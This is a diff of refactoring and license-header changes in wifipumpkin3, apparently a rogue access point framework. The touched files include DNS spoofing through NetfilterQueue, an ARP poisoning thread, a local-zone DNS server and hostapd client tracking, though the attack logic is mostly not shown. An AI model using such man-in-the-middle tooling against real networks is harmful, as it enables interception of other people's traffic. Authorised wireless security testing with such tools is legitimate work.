# set_monitor_mode(self.parent.SettingsEnable['AP_iface']).setDisable()
|
||||
# if self.Activated.interfacesLink['activated'][1] == 'ethernet' or self.Activated.interfacesLink['activated'][1] == 'ppp' \
|
||||
# or self.Activated.interfacesLink['activated'][0] == None: # allow use without internet connection
|
||||
# # change Wi-Fi state card
|
||||
# Refactor.kill_procInterfaceBusy() # killing network process
|
||||
# try:
|
||||
# check_output(['nmcli', 'radio', 'wifi', "off"]) # old version
|
||||
# except Exception:
|
||||
# try:
|
||||
# check_output(['nmcli', 'nm', 'wifi', "off"]) # new version
|
||||
# except Exception as error:
|
||||
# return QtGui.QMessageBox.warning(self, 'Error nmcli', str(error))
|
||||
# finally:
|
||||
# call(['rfkill', 'unblock', 'wifi'])
|
||||
#if not type(self.Activated.get_soft_dependencies()) is bool: return
|
||||
|
||||
self.Activated.Start()
|
||||
#self.Settings.setEnabled(False)
|
||||
return None
|
||||
|
||||
|
||||
def Stop(self):
|
||||
pass
|
||||
#self.Settings.setEnabled(True)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
class AccessPointSettings(CoreSettings):
|
||||
Name = "Access Point"
|
||||
@ -125,6 +89,7 @@ class AccessPointSettings(CoreSettings):
|
||||
|
||||
self.title = self.__class__.__name__
|
||||
|
||||
#load all mode wireless
|
||||
self.__modelist = [mode(self.parent) for mode in wirelessmode.Mode.__subclasses__()]
|
||||
|
||||
def ModelistChanged(self,mode,widget):
|
||||
@ -132,6 +97,7 @@ class AccessPointSettings(CoreSettings):
|
||||
|
||||
@property
|
||||
def getActiveMode(self):
|
||||
''' get mode activated from settings file '''
|
||||
for mode in self.__modelist:
|
||||
if mode.isChecked():
|
||||
return mode
|
||||
@ -150,7 +116,6 @@ class AccessPointSettings(CoreSettings):
|
||||
def getInstances(self):
|
||||
return self.instances
|
||||
|
||||
|
||||
def parser_set_mode(self, mode_name, *args):
|
||||
# default parser mode commands complete
|
||||
if mode_name in self.conf.get_all_childname('ap_mode'):
|
||||
|
@ -6,11 +6,27 @@ from multiprocessing import Process, Queue
|
||||
from subprocess import (Popen, STDOUT, PIPE)
|
||||
from PyQt5.QtCore import QThread, pyqtSignal, pyqtSlot, QProcess, QObject
|
||||
from wifipumpkin3.core.packets.dhcpserver import DHCPProtocol
|
||||
# from core.servers.proxy.http.controller.handler import MasterHandler
|
||||
from wifipumpkin3.core.utility.printer import display_messages,colors
|
||||
from wifipumpkin3.core.common.platforms import Linux as Refactor
|
||||
import wifipumpkin3.core.utility.constants as C
|
||||
|
||||
# This file is part of the wifipumpkin3 Open Source Project.
|
||||
# wifipumpkin3 is licensed under the Apache 2.0.
|
||||
|
||||
# Copyright 2020 P0cL4bs Team - Marcos Bomfim (mh4x0f)
|
||||
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
class DHCPServerProcess(QThread):
|
||||
_ProcssOutput = pyqtSignal(object)
|
||||
def __init__(self,cmd ,directory_exec=None):
|
||||
@ -46,8 +62,6 @@ class DHCPServerProcess(QThread):
|
||||
self.started = False
|
||||
self.queue.close()
|
||||
|
||||
|
||||
|
||||
class ProcessThread(QThread):
|
||||
_ProcssOutput = pyqtSignal(object)
|
||||
def __init__(self,cmd ,directory_exec=None):
|
||||
@ -55,7 +69,6 @@ class ProcessThread(QThread):
|
||||
self.directory_exec = directory_exec
|
||||
self.cmd = cmd
|
||||
|
||||
|
||||
@pyqtSlot()
|
||||
def getNameThread(self):
|
||||
return '[New Thread {} ({})]'.format(self.procThread.pid(),self.objectName())
|
||||
@ -88,8 +101,6 @@ class ProcessThread(QThread):
|
||||
self.procThread.waitForFinished()
|
||||
self.procThread.kill()
|
||||
|
||||
|
||||
|
||||
class DHCPServerProcess(QThread):
|
||||
_ProcssOutput = pyqtSignal(object)
|
||||
def __init__(self,cmd ,directory_exec=None):
|
||||
@ -117,7 +128,6 @@ class DHCPServerProcess(QThread):
|
||||
self.started = False
|
||||
self.queue.close()
|
||||
|
||||
|
||||
class ProcessHostapd(QObject):
|
||||
statusAP_connected = pyqtSignal(object)
|
||||
statusAPError = pyqtSignal(object)
|
||||
@ -147,47 +157,26 @@ class ProcessHostapd(QObject):
|
||||
del all_clients[client_mac]
|
||||
Refactor.writeFileDataToJson(C.CLIENTS_CONNECTED, all_clients)
|
||||
|
||||
|
||||
def read_OutputCommand(self):
|
||||
# for line in proc.stdout:
|
||||
# if 'AP-STA-DISCONNECTED' in line.rstrip() or 'inactivity (timer DEAUTH/REMOVE)' in line.rstrip():
|
||||
# q.put(line.split()[2])
|
||||
self.data = str(self.procHostapd.readAllStandardOutput(),encoding='ascii')
|
||||
if 'AP-STA-DISCONNECTED' in self.data.rstrip() or 'inactivity (timer DEAUTH/REMOVE)' in self.data.rstrip():
|
||||
self.removeInactivityClient(self.data.split()[2])
|
||||
self.statusAP_connected.emit(self.data.split()[2])
|
||||
#self.queue.put(self.data.split()[2])
|
||||
# #self.log_hostapd.info(self.data)
|
||||
# for error in self.errorAPDriver:
|
||||
# if self.data.find(error) != -1:
|
||||
# return self.statusAPError.emit(str(self.data))
|
||||
|
||||
def getHostapdResponse(self):
|
||||
while self.started:
|
||||
self.msg_inactivity.append(self.queue.get())
|
||||
|
||||
# check error hostapd log
|
||||
for error in self.errorAPDriver:
|
||||
if self.data.find(error) != -1:
|
||||
return self.statusAPError.emit(self.data)
|
||||
|
||||
def start(self):
|
||||
self.makeLogger()
|
||||
self.procHostapd = QProcess(self)
|
||||
self.procHostapd.setProcessChannelMode(QProcess.MergedChannels)
|
||||
self.procHostapd.start(list(self.cmd.keys())[0],self.cmd[list(self.cmd.keys())[0]])
|
||||
self.procHostapd.readyReadStandardOutput.connect(self.read_OutputCommand)
|
||||
#print(display_messages('[New Thread {} ({})]'.format(self.procHostapd.pid(),self.objectName()),info=True))
|
||||
self.started = True
|
||||
# self.proc = Popen(self.cmd, bufsize=1, stdout=PIPE, stderr=STDOUT, universal_newlines=True)
|
||||
# self.procHostapd = Process(target=self.read_OutputCommand, args=(self.queue,self.proc))
|
||||
# self.procHostapd.start()
|
||||
print(display_messages('starting hostpad pid: [{}]'.format(self.procHostapd.pid()),sucess=True))
|
||||
|
||||
def makeLogger(self):
|
||||
#setup_logger('hostapd', C.LOG_HOSTAPD, self.session)
|
||||
#self.log_hostapd = logging.getLogger('hostapd')
|
||||
pass
|
||||
|
||||
def stop(self):
|
||||
print('Thread::[{}] successfully stopped.'.format(self.objectName()))
|
||||
if hasattr(self,'procHostapd'):
|
||||
self.started = False
|
||||
#self.proc.kill()
|
||||
#self.proc.terminate()
|
||||
self.procHostapd.terminate()
|
@ -8,6 +8,22 @@ log = logging.getLogger(__name__)
|
||||
from PyQt5.QtCore import QThread,pyqtSignal,pyqtSlot,QProcess,QObject
|
||||
from wifipumpkin3.core.config.globalimport import *
|
||||
|
||||
# This file is part of the wifipumpkin3 Open Source Project.
|
||||
# wifipumpkin3 is licensed under the Apache 2.0.
|
||||
|
||||
# Copyright 2020 P0cL4bs Team - Marcos Bomfim (mh4x0f)
|
||||
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
class IpAddressClass(object):
|
||||
''' class for generator ipaddress '''
|
||||
@ -37,8 +53,6 @@ class IpAddressClass(object):
|
||||
return self.ipaddres_list.pop(0)
|
||||
return None
|
||||
|
||||
|
||||
|
||||
class DHCPProtocol(QObject):
|
||||
_request = pyqtSignal(object)
|
||||
def __init__(self,DHCPConf):
|
||||
@ -53,10 +67,6 @@ class DHCPProtocol(QObject):
|
||||
def connection_made(self, transport):
|
||||
self.transport = transport
|
||||
|
||||
def get_DHCPServerResponse(self):
|
||||
while self.started:
|
||||
self.message.append(self.queue.get())
|
||||
|
||||
def datagram_received(self, data, addr):
|
||||
packet = DHCPPacket(data)
|
||||
log.debug('RECV from %s:\n%s\n', addr, packet)
|
||||
@ -118,7 +128,6 @@ class DHCPProtocol(QObject):
|
||||
def error_received(exc):
|
||||
log.error('ERROR', exc_info=exc)
|
||||
|
||||
|
||||
class DHCPThread(QThread):
|
||||
def __init__(self,iface,DHCPconf):
|
||||
QThread.__init__(self)
|
||||
|
@ -13,6 +13,22 @@ from dnslib.proxy import ProxyResolver
|
||||
from dnslib.server import DNSServer
|
||||
import binascii
|
||||
|
||||
# This file is part of the wifipumpkin3 Open Source Project.
|
||||
# wifipumpkin3 is licensed under the Apache 2.0.
|
||||
|
||||
# Copyright 2020 P0cL4bs Team - Marcos Bomfim (mh4x0f)
|
||||
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
TYPE_LOOKUP = {
|
||||
'A': (dns.A, QTYPE.A),
|
||||
@ -69,7 +85,6 @@ class Record:
|
||||
def __str__(self):
|
||||
return str(self.rr)
|
||||
|
||||
|
||||
class Resolver(ProxyResolver):
|
||||
|
||||
def __init__(self, upstream, zone_file, send_request):
|
||||
@ -134,8 +149,6 @@ class Resolver(ProxyResolver):
|
||||
self.output.emit('no local zone found, proxying %s[%s]' % (request.q.qname, type_name))
|
||||
return super().resolve(request, handler)
|
||||
|
||||
|
||||
|
||||
class LocalDNSLogger(object):
|
||||
|
||||
"""
|
||||
@ -217,8 +230,6 @@ class LocalDNSLogger(object):
|
||||
def log_data(self, dnsobj):
|
||||
self.logger.emit("\n" + dnsobj.toZone(" ") + "\n")
|
||||
|
||||
|
||||
|
||||
class DNSServerThread(QThread):
|
||||
''' Simple DNS server UDP resolver '''
|
||||
sendRequests = pyqtSignal(object) #I'll use this object in future feature
|
||||
@ -227,7 +238,6 @@ class DNSServerThread(QThread):
|
||||
self.resolver = None
|
||||
self.conf = conf
|
||||
|
||||
|
||||
def run(self):
|
||||
|
||||
port = int(os.getenv('PORT', 53))
|
||||
|
@ -5,40 +5,22 @@ logging.getLogger('scapy.runtime').setLevel(logging.ERROR)
|
||||
from scapy.all import *
|
||||
from netfilterqueue import NetfilterQueue
|
||||
|
||||
"""
|
||||
Description:
|
||||
This program is a module for wifi-pumpkin.py file which includes new implementation
|
||||
for Dns spoof Attack with NetfilterQueue and iptables.
|
||||
# This file is part of the wifipumpkin3 Open Source Project.
|
||||
# wifipumpkin3 is licensed under the Apache 2.0.
|
||||
|
||||
Copyright:
|
||||
Copyright (C) 2015-2016 Marcos Nesster P0cl4bs Team
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
# Copyright 2020 P0cL4bs Team - Marcos Bomfim (mh4x0f)
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <http://www.gnu.org/licenses/>
|
||||
"""
|
||||
|
||||
'''http://stackoverflow.com/questions/17035077/python-logging-to-multiple-log-files-from-different-classes'''
|
||||
def setup_logger(logger_name, log_file, level=logging.INFO):
|
||||
l = logging.getLogger(logger_name)
|
||||
formatter = logging.Formatter('%(message)s')
|
||||
fileHandler = logging.FileHandler(log_file, mode='a')
|
||||
fileHandler.setFormatter(formatter)
|
||||
streamHandler = logging.StreamHandler()
|
||||
streamHandler.setFormatter(formatter)
|
||||
|
||||
l.setLevel(level)
|
||||
l.addHandler(fileHandler)
|
||||
l.addHandler(streamHandler)
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
class DnsSpoofNetFilter(object):
|
||||
def __init__(self):
|
||||
@ -51,9 +33,11 @@ class DnsSpoofNetFilter(object):
|
||||
self.args = parser.parse_args()
|
||||
|
||||
def logggingCreate(self):
|
||||
setup_logger('dnsspoofAP', './logs/AccessPoint/dnsspoof.log')
|
||||
self.logDNS = logging.getLogger('dnsspoofAP')
|
||||
self.logDNS.info('Dns Spoof: running...')
|
||||
#TODO: implement this function logger with new log implementated with json
|
||||
pass
|
||||
# setup_logger('dnsspoofAP', './logs/AccessPoint/dnsspoof.log')
|
||||
# self.logDNS = logging.getLogger('dnsspoofAP')
|
||||
# self.logDNS.info('Dns Spoof: running...')
|
||||
|
||||
def callback(self,packet):
|
||||
payload = packet.get_payload()
|
||||
|
@ -1,9 +1,24 @@
|
||||
from socket import *
|
||||
|
||||
import struct
|
||||
import base64
|
||||
import select
|
||||
|
||||
# This file is part of the wifipumpkin3 Open Source Project.
|
||||
# wifipumpkin3 is licensed under the Apache 2.0.
|
||||
|
||||
# Copyright 2020 P0cL4bs Team - Marcos Bomfim (mh4x0f)
|
||||
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
# see https://en.wikipedia.org/wiki/Dynamic_Host_Configuration_Protocol
|
||||
# section DHCP options
|
||||
@ -15,7 +30,6 @@ def inet_ntoaX(data):
|
||||
def inet_atonX(ips):
|
||||
return b''.join(map(inet_aton, ips))
|
||||
|
||||
|
||||
dhcp_message_types = {
|
||||
1: 'DHCPDISCOVER',
|
||||
2: 'DHCPOFFER',
|
||||
|
@ -6,26 +6,22 @@ from time import sleep
|
||||
from PyQt5.QtCore import QThread,SIGNAL,QObject,QProcess,pyqtSlot,pyqtSignal,pyqtSlot
|
||||
from datetime import datetime
|
||||
|
||||
"""
|
||||
Description:
|
||||
This program is a core for modules wifi-pumpkin.py. file which includes all Implementation
|
||||
for modules.
|
||||
# This file is part of the wifipumpkin3 Open Source Project.
|
||||
# wifipumpkin3 is licensed under the Apache 2.0.
|
||||
|
||||
Copyright:
|
||||
Copyright (C) 2015-2016 Marcos Nesster P0cl4bs Team
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
# Copyright 2020 P0cL4bs Team - Marcos Bomfim (mh4x0f)
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <http://www.gnu.org/licenses/>
|
||||
"""
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
class ThreadAttackStar(QThread):
|
||||
def __init__(self,interface):
|
||||
@ -52,7 +48,6 @@ class ThreadAttackStar(QThread):
|
||||
print("Stop thread:" + self.objectName())
|
||||
self.process = False
|
||||
|
||||
|
||||
class ThARP_posion(QThread):
|
||||
def __init__(self,srcAddress,dstAddress,mac):
|
||||
QThread.__init__(self)
|
||||
@ -80,7 +75,6 @@ class ThARP_posion(QThread):
|
||||
print('Stop thread:' + self.objectName())
|
||||
self.emit(pyqtSignal('Activated( QString )'),'Ok')
|
||||
|
||||
|
||||
class ThreadDNSspoofNF(QObject):
|
||||
DnsReq = pyqtSignal(object)
|
||||
def __init__(self,domains,interface,redirect,APmode=True,parent=None):
|
||||
|
@ -5,26 +5,22 @@ from PyQt4.QtCore import QThread,SIGNAL
|
||||
from netaddr import EUI
|
||||
from netaddr.core import NotRegisteredError
|
||||
|
||||
"""
|
||||
Description:
|
||||
This program is a core for modules wifi-pumpkin.py. file which includes all Implementation
|
||||
for modules.
|
||||
# This file is part of the wifipumpkin3 Open Source Project.
|
||||
# wifipumpkin3 is licensed under the Apache 2.0.
|
||||
|
||||
Copyright:
|
||||
Copyright (C) 2015 Marcos Nesster P0cl4bs Team
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
# Copyright 2020 P0cL4bs Team - Marcos Bomfim (mh4x0f)
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <http://www.gnu.org/licenses/>
|
||||
"""
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
class ThreadScannerAP(QThread):
|
||||
def __init__(self,interface):
|
||||
|
@ -5,7 +5,24 @@ from wifipumpkin3.core.common.uimodel import *
|
||||
from wifipumpkin3.core.utility.component import ComponentBlueprint
|
||||
from isc_dhcp_leases.iscdhcpleases import IscDhcpLeases
|
||||
from wifipumpkin3.core.controls.threads import ProcessThread
|
||||
from wifipumpkin3.exceptions.errors.dhcpException import DHCPServerSettingsError
|
||||
|
||||
# This file is part of the wifipumpkin3 Open Source Project.
|
||||
# wifipumpkin3 is licensed under the Apache 2.0.
|
||||
|
||||
# Copyright 2020 P0cL4bs Team - Marcos Bomfim (mh4x0f)
|
||||
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
class DHCPServers(QtCore.QObject,ComponentBlueprint):
|
||||
Name = "Generic"
|
||||
@ -19,19 +36,11 @@ class DHCPServers(QtCore.QObject,ComponentBlueprint):
|
||||
|
||||
self.DHCPConf = self.Settings.confingDHCP
|
||||
|
||||
# def controlcheck(self,object):
|
||||
# self.FSettings.Settings.set_setting('dhcpserver', self.ID, self.controlui.isChecked())
|
||||
|
||||
def prereq(self):
|
||||
pass
|
||||
# dh, gateway = self.DHCPConf['router'], Linux.get_interfaces()
|
||||
# # dh, gateway = self.PumpSettingsTAB.getPumpkinSettings()['router'],str(self.EditGateway.text())
|
||||
# if dh[:len(dh) - len(dh.split('.').pop())] == gateway[:len(gateway) - len(gateway.split('.').pop())]:
|
||||
# print(display_messages('DHCP Server settings',
|
||||
# 'The DHCP server check if range ip class is same.'
|
||||
# 'it works, but not share internet connection in some case.\n'
|
||||
# 'for fix this, You need change on tab (settings -> Class Ranges)'
|
||||
# 'now you have choose the Class range different of your network.',error=True))
|
||||
dh, gateway = self.DHCPConf['router'], Linux.get_interfaces()['gateway']
|
||||
if gateway != None:
|
||||
if dh[:len(dh) - len(dh.split('.').pop())] == gateway[:len(gateway) - len(gateway.split('.').pop())]:
|
||||
raise DHCPServerSettingsError('DHCPServer', 'dhcp same ip range address ')
|
||||
|
||||
|
||||
def isChecked(self):
|
||||
@ -58,7 +67,7 @@ class DHCPServers(QtCore.QObject,ComponentBlueprint):
|
||||
print(self.command,self.commandargs)
|
||||
self.reactor = ProcessThread({self.command: self.commandargs})
|
||||
self.reactor._ProcssOutput.connect(self.LogOutput)
|
||||
self.reactor.setObjectName(self.Name) # use dns2proxy as DNS server
|
||||
self.reactor.setObjectName(self.Name)
|
||||
|
||||
@property
|
||||
def command(self):
|
||||
@ -77,69 +86,6 @@ class DHCPServers(QtCore.QObject,ComponentBlueprint):
|
||||
d_vendor = 'unknown mac'
|
||||
return d_vendor
|
||||
|
||||
# def add_data_into_QTableWidget(self,client):
|
||||
# self.HomeDisplay.ClientTable.addNextWidget(client)
|
||||
|
||||
# def add_DHCP_Requests_clients(self,mac,user_info):
|
||||
# self.parent.StationMonitor.addRequests(mac,user_info,True)
|
||||
|
||||
# def get_DHCP_Discover_clients(self,message):
|
||||
# '''get infor client connected with AP '''
|
||||
# self.APclients = {}
|
||||
# if message['mac_addr'] not in self.HomeDisplay.ClientTable.APclients.keys():
|
||||
# self.APclients[message['mac_addr']] = \
|
||||
# {'IP': message['ip_addr'],
|
||||
# 'device': message['host_name'],
|
||||
# 'MAC': message['mac_addr'],
|
||||
# 'Vendors' : self.get_mac_vendor(message['mac_addr'])}
|
||||
|
||||
# self.add_DHCP_Requests_clients(message['mac_addr'],self.APclients[message['mac_addr']])
|
||||
# self.add_data_into_QTableWidget(self.APclients)
|
||||
# self.parent.connectedCount.setText(str(len(self.HomeDisplay.ClientTable.APclients.keys())))
|
||||
|
||||
# def get_DHCP_Requests_clients(self,data):
|
||||
# ''' filter: data info sended DHCPD request '''
|
||||
# self.APclients = {}
|
||||
# if len(data) == 8:
|
||||
# device = sub(r'[)|(]',r'',data[5])
|
||||
# if len(device) == 0: device = 'unknown'
|
||||
# if Refactor.check_is_mac(data[4]):
|
||||
# if data[4] not in self.HomeDisplay.APclients.keys():
|
||||
# self.APclients[data[4]] = {'IP': data[2],
|
||||
# 'device': device,'MAC': data[4],'Vendors' : self.get_mac_vendor(data[4])}
|
||||
# self.add_DHCP_Requests_clients(data[4],self.APclients[data[4]])
|
||||
# elif len(data) == 9:
|
||||
# device = sub(r'[)|(]',r'',data[6])
|
||||
# if len(device) == 0: device = 'unknown'
|
||||
# if Refactor.check_is_mac(data[5]):
|
||||
# if data[5] not in self.HomeDisplay.ClientTable.APclients.keys():
|
||||
# self.APclients[data[5]] = {'IP': data[2],
|
||||
# 'device': device,'MAC': data[5],'Vendors' : self.get_mac_vendor(data[5])}
|
||||
# self.add_DHCP_Requests_clients(data[5],self.APclients[data[5]])
|
||||
# elif len(data) == 7:
|
||||
# if Refactor.check_is_mac(data[4]):
|
||||
# if data[4] not in self.HomeDisplay.ClientTable.APclients.keys():
|
||||
# leases = IscDhcpLeases(C.DHCPLEASES_PATH)
|
||||
# hostname = None
|
||||
# try:
|
||||
# for item in leases.get():
|
||||
# if item.ethernet == data[4]:
|
||||
# hostname = item.hostname
|
||||
# if hostname == None:
|
||||
# item = leases.get_current()
|
||||
# hostname = item[data[4]]
|
||||
# except:
|
||||
# hostname = 'unknown'
|
||||
# if hostname == None or len(hostname) == 0:hostname = 'unknown'
|
||||
# self.APclients[data[4]] = {'IP': data[2],'device': hostname,
|
||||
# 'MAC': data[4], 'Vendors': self.get_mac_vendor(data[4])}
|
||||
# self.add_DHCP_Requests_clients(data[4],self.APclients[data[4]])
|
||||
# if self.APclients != {}:
|
||||
# self.add_data_into_QTableWidget(self.APclients)
|
||||
# self.parent.connectedCount.setText(str(len(self.HomeDisplay.ClientTable.APclients.keys())))
|
||||
|
||||
|
||||
|
||||
class DHCPSettings(CoreSettings):
|
||||
Name = "WP DHCP"
|
||||
ID = "DHCP"
|
||||
|
@ -1,6 +1,22 @@
|
||||
from wifipumpkin3.core.packets.dhcpserver import DHCPThread
|
||||
from wifipumpkin3.core.servers.dhcp.dhcp import DHCPServers
|
||||
|
||||
# This file is part of the wifipumpkin3 Open Source Project.
|
||||
# wifipumpkin3 is licensed under the Apache 2.0.
|
||||
|
||||
# Copyright 2020 P0cL4bs Team - Marcos Bomfim (mh4x0f)
|
||||
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
class PyDHCP(DHCPServers):
|
||||
Name = "Python DHCP Server"
|
||||
@ -11,7 +27,7 @@ class PyDHCP(DHCPServers):
|
||||
self._connected = {}
|
||||
|
||||
def Initialize(self):
|
||||
self.ifaceHostapd = self.conf.get('accesspoint','interfaceAP')
|
||||
self.ifaceHostapd = self.conf.get('accesspoint','interface')
|
||||
|
||||
def setIsRunning(self,value):
|
||||
self._isRunning = value
|
||||
@ -24,8 +40,6 @@ class PyDHCP(DHCPServers):
|
||||
self._connected[data['MAC']] = data
|
||||
|
||||
def boot(self):
|
||||
#if (not hasattr(self, 'reactor')):
|
||||
self.reactor = DHCPThread(self.ifaceHostapd,self.DHCPConf)
|
||||
self.reactor.DHCPProtocol._request.connect(self.get_DHCPoutPut)
|
||||
self.reactor.setObjectName(self.ID)
|
||||
#self.reactor.LoopDhcpStatus = True
|
||||
self.reactor.setObjectName(self.ID)
|
@ -1,12 +1,27 @@
|
||||
import weakref
|
||||
from wifipumpkin3.core.config.globalimport import *
|
||||
from wifipumpkin3.core.common.uimodel import *
|
||||
#from core.widgets.default.SessionConfig import SessionConfig
|
||||
from wifipumpkin3.core.utility.component import ComponentBlueprint
|
||||
from wifipumpkin3.core.controls.threads import (ProcessThread)
|
||||
from wifipumpkin3.core.common.platforms import setup_logger
|
||||
from wifipumpkin3.core.widgets.default.logger_manager import LoggerManager
|
||||
|
||||
# This file is part of the wifipumpkin3 Open Source Project.
|
||||
# wifipumpkin3 is licensed under the Apache 2.0.
|
||||
|
||||
# Copyright 2020 P0cL4bs Team - Marcos Bomfim (mh4x0f)
|
||||
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
class DNSBase(QtCore.QObject,ComponentBlueprint):
|
||||
Name = "DNSBaseClass"
|
||||
ID = "DNSBase"
|
||||
@ -15,8 +30,7 @@ class DNSBase(QtCore.QObject,ComponentBlueprint):
|
||||
ExecutableFile = ""
|
||||
LogFile = ""
|
||||
hasPreference = False
|
||||
arguments =[['label','switch','type','defaultvalue','enabled','required'],
|
||||
]
|
||||
arguments =[['label','switch','type','defaultvalue','enabled','required'],]
|
||||
|
||||
addDock = QtCore.pyqtSignal(object)
|
||||
def __init__(self,parent,**kwargs):
|
||||
@ -57,10 +71,10 @@ class DNSBase(QtCore.QObject,ComponentBlueprint):
|
||||
def boot(self):
|
||||
self.reactor = ProcessThread({self.command: self.commandargs})
|
||||
self.reactor._ProcssOutput.connect(self.LogOutput)
|
||||
self.reactor.setObjectName(self.Name) # use dns2proxy as DNS server
|
||||
self.reactor.setObjectName(self.ID)
|
||||
|
||||
def LogOutput(self,data):
|
||||
if self.conf.get('accesspoint', 'statusAP', format=bool):
|
||||
if self.conf.get('accesspoint', 'status_ap', format=bool):
|
||||
self.logger.info(data)
|
||||
|
||||
|
||||
|
@ -2,6 +2,23 @@ from wifipumpkin3.core.config.globalimport import *
|
